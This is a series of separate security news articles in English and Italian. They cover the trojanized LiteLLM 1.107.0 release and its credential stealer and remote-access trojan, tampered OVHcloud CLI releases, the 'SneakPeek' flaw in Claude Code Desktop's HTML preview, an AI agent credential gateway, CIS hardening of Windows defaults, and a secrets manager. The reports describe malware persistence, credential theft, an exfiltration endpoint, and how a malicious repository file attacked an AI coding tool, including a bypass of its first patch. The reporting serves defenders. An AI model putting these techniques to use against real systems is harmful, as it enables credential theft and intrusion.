docker

Unknown crims compromised LiteLLM's release process on Wednesday, distributing a malicious version (1.107.0) containing malware designed to steal cloud and AI credentials and a remote access trojan (RAT) capable of executing arbitrary code on infected machines through PyPI and Docker registries. PyPI quarantined the trojanized version of the popular open source AI gateway within hours, and the Docker image (litellm/litellm:1.107.0) was removed from both Docker Hub and GHCR soon after - but anyone who ran the compromised package on any platform should assume their secrets have been stolen. “Check for /tmp/.pc_once_* (the exfil has already fired if this file exists) and /tmp/remote_code_loader.lock (the C2 daemon ran or is still running if this file exists),” advised Aikido Security malware hunter Ilyas Makari. “The same applies to anyone who ran the official Docker image litellm/litellm:1.107.0, or pulled it via the latest, main-latest, or main-stable tags.” The most recent safe version is v1.106.2. While it’s too early to tell the scale of this latest LiteLLM supply chain attack – an earlier LiteLLM compromise in March potentially exposed more than 2,500 organizations and 434,000 CI/CD pipelines worldwide, according to CloudSEK – make sure to take these measures seriously, and check environments for any indicators of compromise. Aikido, Google’s Wiz cloud security biz, and supply-chain security provider Socket have all published extensive threat-hunting and mitigation instructions for LiteLLM users and security teams, so give those a read stat. LiteLLM, developed by BerriAI, provides a common interface for LLM providers, including OpenAI, Anthropic, and Google Gemini, and receives about 23 million weekly downloads. This means a compromised installation can run alongside LLM provider API keys, cloud identities, and database connection strings - and expose a ton of valuable credentials, secrets, and other sensitive data to whoever uploaded the malicious package. “Teams using 1.107.0 should stop deploying it and investigate environments where Python ran after installation, including proxy containers and CI runners,” Socket researchers said on Wednesday. The malicious version was uploaded at 11:39 UTC, and according to Wiz kids Benjamin Read and Rami McCarthy, the payload originates with malicious commits made on github.com/Berri-AI/litellm, which is a hyphenated variant of the legitimate BerriAI organization. Miscreants used this repo to inject the three malicious files into the LiteLLM release pipeline. These, according to Makari, include cook.pth, which causes the second file, cook.py, to run automatically every time Python is invoked on the machine, without any additional user action. Meanwhile, cook.py contains the infostealer, and the third file, sitecustomize.py, is the RAT. Python also executes the RAT at interpreter startup, and this file spawns a background daemon that polls the attacker's infrastructure every hour for new commands to execute. Upon executing, the infostealer harvests a ton of sensitive data across 16 modules targeting browsers, cloud providers, and AI services, according to Read and McCarthy. It steals browser credentials and cookies from Chrome, Firefox, Edge, and Safari, along with AWS credentials from ~/.aws/, environment variables, and EC2/ECS instance metadata (IMDS). It also collects users’ Google Cloud Platform service account keys and application default credentials, along with Microsoft Azure tokens from the CLI cache. And then it also swipes API keys for OpenAI, Anthropic, Cohere, and other LLM providers, plus SSH private keys, GPG keys, and shell history files. The malware then encrypts all of this stolen data using AES-256-CBC, wraps the encryption key with an RSA-4096 public key, and sends the encrypted data via HTTP POST to an attacker-controlled domain: http://www[.]litellm[.]dev/healthcheck. BerriAI did not respond to The Register’s inquiries. This is an emerging story, and we will continue to update it as we learn more details.®

The popular LiteLLM Python package has been compromised as part of a software supply chain attack that delivered a credential stealer and a backdoor, according to reports from SafeDep, Socket, StepSecurity, and Upwind. The compromise affects LiteLLM 1.107.0, distributed through PyPI wheels and Docker images. The Python package has since been quarantined on Python Package Index (PyPI), and the

Info-stealing malware slipped into OVHcloud CLI releases on GitHub OVHcloud, the French cloud computing and web hosting company, alerted customers that a hacker tampered with its open-source command-line interface (CLI) tool to spread information-stealing malware. OVHcloud CEO Octave Klaba disclosed the incident on X, warning users who downloaded the latest CLI release that day to update the tool or delete it. According to Klaba, five versions of the CLI were modified, from v0.11.0 through v0.15.0. Version v0.10.0 was unaffected, and the new v0.16.0 release is clean. The tampered release went live at 14.47 on October 19 and was blocked at 16.21, after a customer reported the problem. “Thanks to the customer who reported the issue to us,” Klaba wrote. “The hacker used the GitHub account of one of the developers and added a binary whose job is to retrieve secrets from the disk,” he explained, adding that “the quality of the binary is poor but it can go all the way.” In a follow-up post, Klaba said the company had completed its analysis and that its CI/CD pipelines, including unit tests, functional tests and CVE detection, were not impacted. “The issue stems from the release immutability option on GitHub, which had not been enabled. As a result, a user with the appropriate permissions could directly modify existing releases on GitHub without any checks from our CI/CD,” Klaba noted. OVHcloud has since switched the option on and considers the incident closed. GlassWorm link OpenSourceMalware, a community-driven threat intelligence platform, ties the attack to the GlassWorm threat actors. GlassWorm operators have targeted software developers since at least early 2025, drawn by their access to source code repositories, cloud platforms, CI/CD pipelines and package registries. In May 2026, CrowdStrike, Google and the Shadowserver Foundation disrupted the GlassWorm botnet by taking down its four command-and-control channels at the same time. OpenSourceMalware’s analysis found that the attacker never touched OVHcloud’s CI/CD pipelines. The malicious binary was built on a workstation and uploaded onto five existing GitHub releases, replacing the legitimate files. The GitHub account behind the uploads belonged to an OVHcloud contributor and had been compromised for about seven months. In March 2026, someone rewrote the history of several of its personal repositories and planted a hidden loader that fetches its next stage through a Solana blockchain transaction. The wallet used for this is a known GlassWorm indicator, though the analysts say the link between that compromise and the October attack is their own inference. “This is a release-asset replacement attack,” researchers noted. “The source repository was never touched, so anyone verifying against the Go module proxy or building from source was fine. But anyone who ran install.sh, brew install –cask ovh/tap/ovhcloud-cli, or downloaded a tarball from GitHub in that window on macOS, Linux x86_64/arm64 or Windows x86_64 got the malware,” they added. Users who built the CLI from source or pulled the Docker image were not affected. Anyone who installed one of the tampered versions should change every secret stored on that machine. “If you are affected, please change all the secrets on your disk,” Klaba urged. OVHcloud deleted the malicious files before anyone could archive them, so OpenSourceMalware has not analyzed the payload. Based on the platforms the attacker chose, the analysts believe “this looks like credential harvesting aimed at developer and ops workstations.”

Una vulnerabilità nel pannello di anteprima HTML di Claude Code Desktop ha permesso ai ricercatori di Noma Labs di dimostrare come un file malevolo inserito in un repository apparentemente legittimo potesse leggere dati locali e trasmettere informazioni riservate a un server remoto. La falla, denominata SneakPeek e valutata con un punteggio CVSS 8.7, è stata corretta da Anthropic nello scorso mese di agosto. Indice degli argomenti Gli strumenti di sviluppo basati sull’intelligenza artificiale stanno ampliando le possibilità di automazione, ma introducono anche nuove superfici di attacco. Un esempio è proprio SneakPeek. Il problema riguardava il pannello che visualizza automaticamente i file HTML letti o modificati dall’assistente. Questa funzionalità, concepita per consentire di verificare rapidamente il risultato del lavoro, presentava alcune debolezze nel modo in cui gestiva i documenti e applicava le protezioni di sicurezza. La combinazione di queste condizioni consentiva a un file appositamente predisposto di eseguire codice JavaScript e accedere a informazioni presenti nel sistema locale. Secondo l’analisi pubblicata da Noma Labs, il comportamento dell’anteprima cambiava in funzione delle dimensioni del documento. I file HTML inferiori a 256 KB venivano caricati attraverso URL di tipo “data:”, con una Content Security Policy (CSP) che impediva l’esecuzione degli script. I documenti più grandi, invece, venivano salvati in un file temporaneo e aperti attraverso lo schema “file://”. In questo secondo percorso, le protezioni non venivano applicate correttamente. La Content Security Policy non bloccava l’esecuzione del JavaScript e il filtro destinato a impedire l’accesso ai file locali non risultava attivo durante la visualizzazione diretta dei documenti statici. La vulnerabilità nasceva quindi dall’interazione tra più difetti architetturali. Non era la dimensione del file, da sola, a rappresentare il problema, ma il fatto che il superamento della soglia modificava il contesto di esecuzione e il livello di protezione applicato al contenuto. Lo scenario dimostrativo descritto dai ricercatori partiva da un repository pubblico contenente codice sorgente, test e un normale report HTML sulla copertura dei test. All’interno del documento era stato inserito un payload malevolo, nascosto in un file sufficientemente grande da attivare il percorso vulnerabile. Lo sviluppatore poteva clonare il repository e chiedere a Claude Code Desktop di esaminare o modificare il report. Quando l’applicazione visualizzava automaticamente il documento, il codice JavaScript incorporato veniva eseguito senza richiedere un’ulteriore autorizzazione esplicita per l’accesso ai dati locali. Una volta attivo, il codice poteva leggere file accessibili dal contesto vulnerabile e inviarne il contenuto a un server controllato dall’attaccante. La tecnica sfruttava le funzionalità standard del motore Chromium integrato nell’applicazione, trasformando una semplice operazione di revisione del codice in un possibile canale di esfiltrazione. L’impatto potenziale era particolarmente rilevante per gli sviluppatori che utilizzano la stessa workstation per lavorare sul codice e amministrare infrastrutture aziendali. Tra le informazioni che, secondo Noma Labs, potevano essere sottratte figuravano chiavi private SSH, credenziali AWS, token di autenticazione GitHub e npm, configurazioni Kubernetes, credenziali Docker e token OAuth associati a Claude. Fonte: Noma Labs. Questi dati possono consentire l’accesso a repository privati, registri di pacchetti, ambienti cloud e sistemi di orchestrazione dei container. La compromissione di una singola postazione di sviluppo può quindi trasformarsi in un rischio più ampio per l’organizzazione, soprattutto quando le credenziali sono riutilizzabili e dispongono di privilegi elevati. La ricerca ha inoltre evidenziato la possibilità di aggirare una prima correzione attraverso i Web Worker, componenti che consentono di eseguire JavaScript in un contesto separato. Questo bypass ha dimostrato che bloccare le richieste dirette ai file locali non era sufficiente a eliminare tutte le possibilità di sfruttamento. La vulnerabilità è stata segnalata il 4 luglio 2026. Dopo la prima valutazione, Anthropic ha assegnato al problema un punteggio CVSS 8.7, classificandolo come ad alta gravità. Una prima correzione è stata distribuita il 24 luglio, ma i ricercatori hanno individuato un bypass basato sui Web Worker, rendendo necessario un ulteriore intervento. Secondo la cronologia pubblicata da Noma Labs, la correzione definitiva è stata distribuita il 17 agosto 2026 attraverso Claude Desktop versione 1.30096.1 e successive. Il caso evidenzia l’importanza di verificare l’efficacia delle mitigazioni anche dopo il rilascio di una prima patch, soprattutto quando la vulnerabilità coinvolge più livelli dell’architettura applicativa. SneakPeek richiama l’attenzione su un aspetto spesso sottovalutato della sicurezza degli strumenti AI. Il rischio non riguarda esclusivamente le risposte generate dal modello o le azioni eseguite autonomamente dall’agente, ma anche i componenti dell’applicazione che elaborano e visualizzano i contenuti utilizzati durante il lavoro. Un file malevolo può infatti sfruttare la fiducia riposta nell’ambiente di sviluppo e raggiungere componenti che dispongono di privilegi o accessi non necessari. Per questo motivo, sandbox robuste, politiche CSP applicate in modo coerente e controlli sull’accesso alle risorse locali devono essere considerati elementi essenziali della progettazione sicura. Per le organizzazioni, la raccomandazione è verificare che Claude Desktop sia aggiornato almeno alla versione corretta indicata dai ricercatori, prestare attenzione ai repository di provenienza non verificata e ridurre l’esposizione delle credenziali presenti sulle workstation. Il caso SneakPeek dimostra che anche una funzionalità apparentemente innocua, come l’anteprima di un report HTML, può diventare un punto d’ingresso verso informazioni critiche quando le protezioni dell’applicazione non isolano correttamente i contenuti non attendibili.

AI Agent Gateway: Open-source tool keeps credentials out of agent configs Tuskira’s AI Agent Gateway is an open-source solution that sits between AI agents and everything they call: the MCP tool servers that connect them to services like GitHub and Jira, and the model providers they send prompts to. The gateway runs in your own environment without a Tuskira account. The full picture (Source: Tuskira) A team running Claude Code, Cursor and a homegrown ticket bot usually has model keys and MCP credentials copied into each agent’s config, on every laptop and CI runner. Anyone who gets hold of one of those files gets the credentials inside it, and in Tuskira’s account nothing checks the agent’s permissions when it acts. What happens on a call An agent registers the gateway as its MCP server and sends a gateway key and a profile name with every request. The gateway checks the key, which is tied to a tenant and a role, then checks whether that profile may use the requested tool. A denied call returns an error and lands in the log without reaching the backend. An allowed call gets the real credential pulled from an encrypted store and attached on the way out, so the agent never holds the GitHub token. The gateway runs that check at the moment of the call, in addition to trimming the tool list each agent sees. An agent talked into calling a tool it was never shown still gets refused. Model traffic can go through the same gateway by changing an SDK’s base URL. It covers Anthropic directly or through AWS Bedrock, plus OpenAI and Gemini, and it records tokens and an estimated cost for each call. Two defaults to check Profiles bind only when you bind them. A key with no profile attached lets the caller name its own profile in a request header, so a leaked unbound key can ask for any profile it wants. Bind each key to its profile and a leaked CI key reaches only what that profile allows. Tuskira’s sample CI profile allows one tool. The demo stack also stores LLM request and response bodies, capped at 1 MiB each, so the console can display them. Those bodies hold whatever prompts and code your agents send, and one setting turns storage off. The shipped Docker Compose file allows outbound connections to the host machine and the loopback range for local testing, and Tuskira’s instruction is to remove both on anything shared. Outside those exceptions, the gateway refuses connections to private and loopback addresses by default and always blocks the cloud metadata address. Download AI Agent Gateway The gateway runs on macOS and Linux, and Windows through WSL2 is untested. The repository ships worked examples, covering Claude Code, Cursor, VS Code, Codex CLI, a Python agent and Kubernetes. AI Agent Gateway is available for free on GitHub. Must read: 20 open-source cybersecurity tools to keep your team ready for anything GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

La differenza tra un’infrastruttura difesa e un’infrastruttura semplicemente costosa non sta nel numero di prodotti di sicurezza acquistati, ma in ciò che succede quando un attaccante ha già un piede dentro. Nelle riunioni sul budget passano facilmente sempre le stesse voci: firewall di nuova generazione, EDR, SIEM, servizi MDR. Sono strumenti fondamentali, ma hanno un effetto poco nobile: si comprano e si mettono a bilancio. Molto più raramente si investe tempo nel fine tuning delle configurazioni dei sistemi che già abbiamo, che spesso restano ai default pensati per la compatibilità e non per la sicurezza. Eppure un dominio Active Directory che accetta ancora protocolli del 1993 e file server che non pretendono la firma dei pacchetti SMB possono vanificare buona parte di ciò che li circonda. Chi ottiene un primo accesso, magari con un semplice phishing , non ha bisogno di “bucare” il perimetro in quanto gli basta trovare un default permissivo e usarlo per muoversi lateralmente. Ci concentreremo su alcuni esempi in ambito Windows ma, come vedremo in seguito, il framework CIS prende in considerazione molti sistemi e software. Perché i default sono così permissivi? In Windows per garantire la compatibilità con quasi tutto ciò che è stato scritto negli ultimi trent’anni, molte configurazioni sicure sono opzionali . Un’azienda enterprise ha applicativi vecchi di quindici anni, NAS di terze parti, multifunzione e client che parlano protocolli superati. Se Microsoft cambiasse i default di colpo, mezzo mondo smetterebbe di funzionare. Il risultato è che la sicurezza reale viene demandata a chi amministra il sistema. La buona notizia è che esiste una guida condivisa e verificabile per correggere questi default: i CIS Benchmarks . In questo articolo vediamo da dove nascono, come sono strutturati e cosa cambia in pratica applicandoli, partendo da due casi concreti su Windows, NTLMv1 e la firma SMB , per poi allargare lo sguardo a cloud, rete, database e Linux. Vedremo anche perché l’adozione in un ambiente enterprise richiede mesi di test e come gli strumenti di compliance possano accelerare audit e remediation. Le origini: dal primo benchmark per Solaris a oltre cento guide Il Center for Internet Security (CIS) è un’organizzazione non profit statunitense nata come iniziativa di volontari, con l’obiettivo di produrre linee guida di configurazione pratiche e basate sul consenso. L’idea prende forma nel 2000 e il primo benchmark riguarda Solaris. Nel 2002 arriva il “Consensus Security Benchmark” per Windows 2000, frutto del lavoro congiunto di NSA, DISA, FBI, SANS e CIS. Nel 2008 debutta CIS-CAT, lo strumento per misurare la conformità. Il tratto distintivo è proprio il consenso . Un benchmark non è l’opinione di un singolo vendor. Nasce dal lavoro di esperti di governo, accademia e industria, passa da fasi di proposta, test e revisione e viene pubblicato in bozza per commenti pubblici prima della versione finale. Oggi se ne contano più di cento, su oltre venticinque famiglie di prodotti . I PDF sono gratuiti per uso non commerciale , mentre gli strumenti di automazione (CIS-CAT Pro, Build Kit, immagini hardened) richiedono la membership SecureSuite. Cosa contiene un benchmark e cosa significano L1 e L2 Attenzione a non confonderli con i CIS Controls , che sono azioni di alto livello e prioritizzate, come l’inventario degli asset o la gestione delle vulnerabilità. I Benchmark sono invece documenti tecnici, uno per ogni prodotto e versione, che spiegano come configurarlo. Ogni raccomandazione descrive il rischio che riduce, il profilo a cui appartiene e, soprattutto, l’ impatto che può avere sul sistema: è la parte da leggere prima di applicare qualsiasi cosa. Poi indica come verificare lo stato attuale (percorso GPO, chiave di registro o comando), come correggerlo e qual è il valore di default , che è spesso il campo più istruttivo, perché misura la distanza tra ciò che il sistema fa da solo e ciò che dovrebbe fare. Le raccomandazioni sono organizzate in livelli : Level 1 (L1): la base, applicabile con relativa rapidità e senza impatti pesanti. Riduce la superficie d’attacco mantenendo i sistemi usabili. Level 2 (L2): la difesa in profondità, pensata per ambienti in cui la sicurezza è prioritaria. Può limitare funzionalità e richiede una gestione delle eccezioni. A questi si aggiungono profili opzionali come BitLocker (BL) , Next Generation Windows Security (NG) e, in alcuni casi, un profilo allineato alle STIG del DoD statunitense. Nei benchmark Windows Server, L1 e L2 esistono poi in versione Domain Controller e Member Server , perché un DC non si hardenizza come un file server. Alcuni esempi con il benchmark per Windows Server Ho preso come esempio il CIS Benchmark per Windows Server 2022 (versione 5.1.0). E’ possibile scaricarlo, o scaricarne altri, è necessario eseguire la registrazione gratuita su https://learn.cisecurity.org/benchmarks Dopo la registrazione si accede a un’ampia raccolta di benchmark. In questo caso prendiamo come esempio due configurazioni di Windows: NTLMv1 e la firma SMB. Un sistema Windows, server o client, senza particolari criteri di gruppo si attesta intorno al 20% di compliance rispetto al benchmark. NTLMv1: il vecchio protocollo che non se ne va NTLM è un protocollo di autenticazione challenge/response che convive con Kerberos in Active Directory. Ogni volta che Kerberos non è utilizzabile (accesso tramite IP, SPN sconosciuto, client fuori dominio) Windows ripiega su NTLM. La versione 1 usa crittografia debole: gli hash catturati sulla rete possono essere attaccati offline o inoltrati in attacchi di relay, ed è per questo una delle cause principali dei movimenti laterali (pass-the-hash o PtH) e privilege escalation (PE). In questo precedente articolo avevamo simulato gli effetti di questo protocollo e le conseguenze. Il benchmark raccomanda, al livello L1, di impostare Network security: LAN Manager authentication level su “Send NTLMv2 response only. Refuse LM & NTLM” . Nel Windows Server 2022 Benchmark v5.1.0 è la raccomandazione 2.3.11.7 , ma la stessa indicazione era già presente nel benchmark per Server 2012 R2 del 2016. La numerazione cambia tra le versioni, quindi verificate sempre quella del documento che state usando. Il dettaglio interessante è il default: i client usano già solo NTLMv2, ma i Domain Controller accettano ancora LM, NTLM e NTLMv2 . Un dominio “pulito” per impostazione predefinita accetta quindi protocolli obsoleti, e basta un dispositivo datato per continuare a usarli. La configurazione si fa da GPO in Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options oppure direttamente dal registro, alla chiave HKLM\SYSTEM\CurrentControlSet\Control\Lsa, impostando il valore LmCompatibilityLevel (REG_DWORD) a 5. Anche se le configurazioni risultano complicate da capire, il documento CIS è una guida chiara su cosa applicare e cosa non, con dettagli chiari riguardo all’impatto che leggiamo qui sotto. Sui DC, i client che non supportano NTLMv2 non riusciranno più ad autenticarsi. Un vecchio client XP o 2000 fallisce il logon, incrementa il contatore delle password errate e, con il lockout attivo, può portare al blocco dell’account. Il percorso corretto è quindi audit, identificazione, migrazione ed enforcement , mai il contrario. Il benchmark include le impostazioni di auditing NTLM (le 2.3.11.12–14) e nel Security log l’evento 4624 riporta il pacchetto di autenticazione usato: cercate le sessioni con “NTLM V1”. Piccola nota : NTLMv1 è stato rimosso da Windows 11 24H2 e Windows Server 2025 , a prescindere dal valore di LmCompatibilityLevel. Restano però dei residui di crittografia derivata da NTLMv1 in scenari come MS-CHAPv2 nei domini, per cui Microsoft sta introducendo modalità audit ed enforcement (con l’evento 4024) e raccomanda l’uso di Credential Guard . Il problema è che la flotta reale non è tutta 24H2. Finché convivono Windows 10, Windows 11 23H2 e Server 2016/2019/2022, la questione è viva. E la sola GPO potrebbe non bastare: secondo la ricerca di Silverfort , chi si affida solo alle policy resta esposto e deve anche rilevare e mitigare l’uso di NTLMv1. Il quadro più ampio è una roadmap in tre fasi : NTLM è deprecato da giugno 2024, l’auditing avanzato è già disponibile e con la prossima versione di Windows Server e dei client verrà disabilitato di default . Non rimosso, ma riabilitabile via policy. Chi ha già fatto il lavoro di audit parte in netto vantaggio. Firma SMB: il default che (quasi) non ti protegge Senza firma, i messaggi SMB non hanno alcuna garanzia di integrità né di autenticità. Un attaccante sulla rete può inoltrare un’autenticazione NTLM catturata verso un altro server e agire con l’identità della vittima. La firma inserisce in ogni messaggio un hash generato con la chiave di sessione, così qualsiasi manomissione viene rilevata e il relay attack viene bloccato. Sento spesso dire che la firma SMB è ormai obbligatoria di default. È vero solo in parte. Secondo la documentazione Microsoft , Windows 11 24H2 nelle edizioni Pro, Enterprise ed Education la richiede sia in uscita sia in ingresso, mentre Windows Server 2025 la richiede solo in uscita . Sull’edizione Home le pagine Microsoft non sono coerenti tra loro, ma in ambito enterprise non è rilevante. Sulle versioni precedenti (Windows 10 e Server fino al 2022) la firma era richiesta di default solo per le connessioni alle share SYSVOL e NETLOGON dei domain controller. In un’infrastruttura reale, con file server 2016, 2019 o 2022, il default non ti protegge . E nemmeno 24H2 chiude la partita: come osserva DSInternals , queste modifiche eliminano alcuni vettori di relay ma non mitigano la tecnica del tutto. Il CIS prevede due raccomandazioni L1, una per lato: Microsoft network client: Digitally sign communications (always) , la 2.3.8.1 , e la 2.3.9.2 Microsoft network server: Digitally sign communications (always) , entrambe su Enabled . Nel registro si trovano sotto LanManServer\Parameters e LanManWorkstation\Parameters, con il valore RequireSecuritySignature impostato a 1. Anche qui, l’impatto. Il server non comunicherà con client che non accettano la firma. La richiesta può bloccare le connessioni verso computer in workgroup, share con accesso guest e server SMB di terze parti che non la supportano: NAS datati, apparati embedded, Samba non configurato, scanner con scan-to-folder. L’errore tipico è STATUS_INVALID_SIGNATURE (0xc000a000). Ogni pacchetto va inoltre firmato e verificato, quindi su server multiruolo il rallentamento può essere sensibile. La strada è sempre la stessa: inventariare share e client legacy, aggiornare, sostituire o segmentare i dispositivi non compatibili e applicare la policy a ondate. Altri default da rivedere Questi due casi sono la punta dell’iceberg. Sempre in ambito Windows, il benchmark ci ricorda per esempio di (tra parentesi il codice della raccomandazione e il livello): Disattivare LLMNR e NetBIOS , che permettono il poisoning delle richieste di risoluzione dei nomi (con strumenti come Responder) per rubare hash NTLMv2 (18.6.4.4 per LLMNR; 18.4.6 e 18.6.4.2 per NetBIOS; L1). Firmare LDAP e abilitare il channel binding , contro i relay verso i DC. Su Server 2025 la firma LDAP è di fatto richiesta salvo disattivazione esplicita, mentre su 2019 e 2022 il default era permissivo e il channel binding non è richiesto di default (2.3.5.4 firma e 2.3.5.3 channel binding sui DC, 2.3.11.9 firma lato client; L1). Verificare che SMBv1 sia assente : non è installato di default su Windows 11 e Server 2019 e successivi, ma nei parchi stratificati va controllato (18.4.2 driver client e 18.4.3 server; L1). Controllare che WDigest sia disattivo (UseLogonCredential=0), per non lasciare password in chiaro nella memoria di LSASS (18.4.7; L1). Limitare le cifrature Kerberos deboli come RC4 e DES, più facili da attaccare offline (2.3.11.4; L1). Disabilitare il Print Spooler sui Domain Controller , dove non serve (5.1, L1; sui Member Server 5.2, L2), e chiudere l’enumerazione anonima di utenti e share (2.3.10.2 e 2.3.10.3; L1). Attivare LSA Protection e Credential Guard contro il furto di credenziali dalla memoria (LSA Protection 18.9.26.2 e Credential Guard 18.9.5.5 sui Member Server; entrambi profilo NG). Sui DC il benchmark prevede invece Credential Guard disabilitato (18.9.5.6). Codici e livelli (L1, L2 o NG) sono quelli del benchmark per Windows Server 2022 e possono cambiare da una versione all’altra, quindi confrontateli sempre con il documento di riferimento. Il CIS non copre solo Windows I CIS Benchmarks coprono ormai gran parte di ciò che compone un’infrastruttura moderna. Includono: cloud provider (AWS, Azure, Google Cloud, Alibaba, IBM Cloud, Oracle Cloud) e le piattaforme SaaS come Microsoft 365, Google Workspace e Dynamics 365 Power Platform. sistemi operativi , da macOS ad AIX e Solaris, fino a un’ampia famiglia Linux (RHEL, Rocky, AlmaLinux, Debian, Ubuntu, SUSE, Amazon Linux, Bottlerocket e altre) server software , come database (SQL Server, Oracle, MySQL, PostgreSQL, MongoDB), web server (Apache, NGINX, Tomcat, IIS), Docker, Kubernetes e VMware. E ci sono gli apparati di rete (Cisco, Fortinet, Palo Alto, Check Point, Juniper, F5, Sophos, pfSense), i software desktop (Exchange, Office, Zoom, i principali browser), i dispositivi mobili iOS e Android e persino le stampanti multifunzione . Il catalogo si è spinto fino alla software supply chain : il primo benchmark riguardava un sistema Unix , oggi ne esiste uno per la sicurezza della catena di sviluppo, e questo racconta bene come è cambiata la superficie d’attacco. La logica è la stessa ovunque: il rischio sta nelle configurazioni lasciate ai default . Nel cloud, il rischio dominante non sono gli exploit sul provider ma le misconfigurazioni lato cliente: MFA mancante sugli account privilegiati, chiavi di accesso sul root , logging di audit disattivato, storage pubblico, gruppi di sicurezza che espongono SSH o RDP a tutta Internet. Sugli apparati di rete, firewall e switch entrano spesso in produzione con la configurazione minima, con interfacce di gestione raggiungibili ovunque, Telnet, HTTP e SNMPv1/v2c ancora attivi e credenziali di default. Su database e web server il benchmark chiede autenticazione obbligatoria, ascolto solo sulle interfacce necessarie e TLS moderno; su Docker e Kubernetes, container non privilegiati, accesso anonimo all’API server disabilitato e RBAC corretto. Le multifunzione, infine, sono computer completi con disco, rete e credenziali di dominio, ma raramente vengono trattate come tali: è lo stesso ragionamento dei NAS che non supportano la firma SMB. E Linux? Vale lo stesso discorso, con profili separati per Server e Workstation: SSH con login root disabilitato e autenticazione a chiave, /tmp montato con nodev,nosuid,noexec, filesystem inutili disabilitati, ASLR attivo, firewall in deny di default e auditd configurato. Nella documentazione di Wazuh un Ubuntu 22.04 con le impostazioni di default supera 56 controlli CIS su 191 (87 falliti, 48 non applicabili), con un punteggio del 39%. Anche un Linux appena installato è ben lontano da un hardening accettabile. Più di tre mesi di lavoro: non è un’attività da weekend Ammetto una cosa che nei tutorial di solito manca: applicare un benchmark in un ambiente enterprise eterogeneo non significa importare una GPO . Nella mia esperienza ci sono voluti più di tre mesi , quasi tutti spesi in test interni su sistemi diversi tra loro, perché molte regole hanno impatti significativi. Il metodo che ha funzionato parte da un inventario onesto di sistemi operativi, ruoli (DC, file server, workstation, laboratori, sistemi industriali) e applicativi legacy. Da lì serve un profilo per ogni ruolo : kiosk, workstation di sviluppo, PC di produzione e macchine con dipendenze VPN o di stampa datate non possono ricevere lo stesso baseline, e le eccezioni vanno documentate. Dove esiste una modalità audit, come per NTLM e LDAP, si parte da lì e si leggono i log per settimane. Poi si procede a ondate , dal laboratorio al pilota IT, al reparto pilota, all’intera azienda, monitorando ticket e log a ogni passaggio, con un backup delle GPO e una procedura di rollback già testata. Fondamentale il registro delle eccezioni . Ogni deviazione dal benchmark deve avere un responsabile, una motivazione e una data di revisione, perché un’eccezione senza scadenza diventa un default. Il Level 2 va infine trattato come un progetto a parte, perché cambia il carico di eccezioni e il modello di supporto. E il benchmark è più facile da difendere quando le basi funzionano già: patching, Defender, chiavi BitLocker, password dell’admin locale e monitoraggio di base. Gli strumenti che accelerano Fare tutto a mano su centinaia di macchine non è realistico e ancor più avere tutto sotto controllo, in particolare quando cominciano a nascere dei problemi. Gli strumenti di compliance eseguono un audit automatico sul parco macchine, associano a ciascun sistema il benchmark CIS di riferimento e producono report che mostrano dove intervenire , con priorità. Ce ne sono di commerciali, come ManageEngine, Tenable Nessus, Qualys e Rapid7, oltre a CIS-CAT Pro, lo strumento ufficiale del CIS. Controllate sempre che siano certificati CIS per la versione del benchmark che vi serve. Tra le soluzioni open source vale la pena conoscere il modulo SCA (Security Configuration Assessment) di Wazuh . L’agent Wazuh scansiona l’endpoint con delle policy in formato YAML , abilitate di default e già basate sui CIS Benchmarks. Tra le policy incluse ci sono Windows 10 e 11, Windows Server dal 2012 R2 al 2025, le principali distribuzioni Linux e alcune applicazioni come IIS, NGINX e SQL Server. Dalla dashboard si vede, per ogni macchina, quanti controlli sono superati o falliti e con quale punteggio, con descrizione e remediation di ogni check. Ed è esattamente la fotografia di partenza che serve prima di toccare una GPO. Dashboard Wazuh, modulo Configuration Assessment, con il riepilogo della policy CIS su un agent Windows (Passed / Failed / Not applicable e punteggio). Dettaglio di un check, ad esempio LmCompatibilityLevel, con razionale e remediation. L’SCA rileva e riporta, ma non corregge: la remediation resta a GPO o gestione della configurazione. E come per ogni scanner, un report non sostituisce il giudizio dell’analista. Nella community sono stati segnalati falsi positivi dovuti a errori nelle regole (per esempio uno spazio di troppo in un check Windows), quindi un controllo fallito su un sistema che sembra a posto va verificato a mano prima di intervenire. Una nota dolente è che di default le baseline non sono aggiornate. Infatti attualmetne ci troviamo le verisoni v2.0.0 quando sono state appena rilasciate le v5.1.0, quindi potrebbero mancarne. Un altro strumento interessante è ManageEngine Vulnerability Manager Plus che, oltre alle funzionalità di vulnerability discovery e patch management , dispone di un modulo di compliance in cui è possibile associare gruppi di host ai benchmark e valutarne rapidamente la conformità. Dashboard ManageEngine Endpoint Central, modulo Conformità, con lo stato di conformità di un gruppo di computer, la suddivisione per fasce di percentuale e il dettaglio per singolo host. Dettaglio della scansione con il CIS Microsoft Windows 10 Enterprise Benchmark v2.0.0 (Level 1, BitLocker): 20% di conformità, con la regola sul livello di autenticazione LAN Manager (NTLMv2) segnalata come non superata e la relativa remediation. Conclusione Firewall ed EDR restano strati indispensabili, ma poggiano su sistemi che, lasciati ai default, offrono scorciatoie note da vent’anni: NTLMv1 accettato dai DC, share senza firma SMB, LLMNR attivo, LDAP non firmato, console di gestione esposte, bucket pubblici. È questo che trasforma un singolo endpoint compromesso in un dominio compromesso. I CIS Benchmarks non sono una bacchetta magica, ma sono un punto di partenza concreto, condiviso e verificabile . Dicono cosa cambiare, dove, con quale impatto e come dimostrare di averlo fatto. Il prezzo è il tempo, tra test, eccezioni e comunicazione con gli utenti. In cambio si riduce la superficie d’attacco in modo strutturale, senza acquistare nulla di nuovo. L'articolo Basta un PC compromesso per entrare in tutta l’azienda! La colpa? I vecchi default di Windows proviene da Red Hot Cyber .

Keyorix: Open-source secrets management for teams that can’t use SaaS Keyorix is an open-source secrets manager that runs entirely on a company’s own servers. A secrets manager is the locked store where an application fetches the database passwords, API keys, and tokens it needs, so they stay out of config files and source code. It ships as one binary and, in its core form, needs no internet connection. Keyorix SL, the company behind it, pitches that to teams that cannot send credentials to a cloud service, such as air-gapped networks and European enterprises that need to line up with NIS2 and DORA, the EU’s security and financial-resilience rules. The company’s own comparison table sets Keyorix against two tools: Vault, which runs on premises but requires a dedicated admin, and Doppler, which is simple but SaaS-only. Developers get secrets into an app through a command-line tool that injects them as environment variables, so the app reads them like ordinary settings, or through SDKs for Go, Python, and Node.js. Teams already on Vault can import what they have, and one Docker Compose command starts the full stack, web interface included. Around that core sit access controls and bookkeeping: role-based access control, group permissions, secret versioning, separate development, staging, and production environments, service tokens for CI/CD 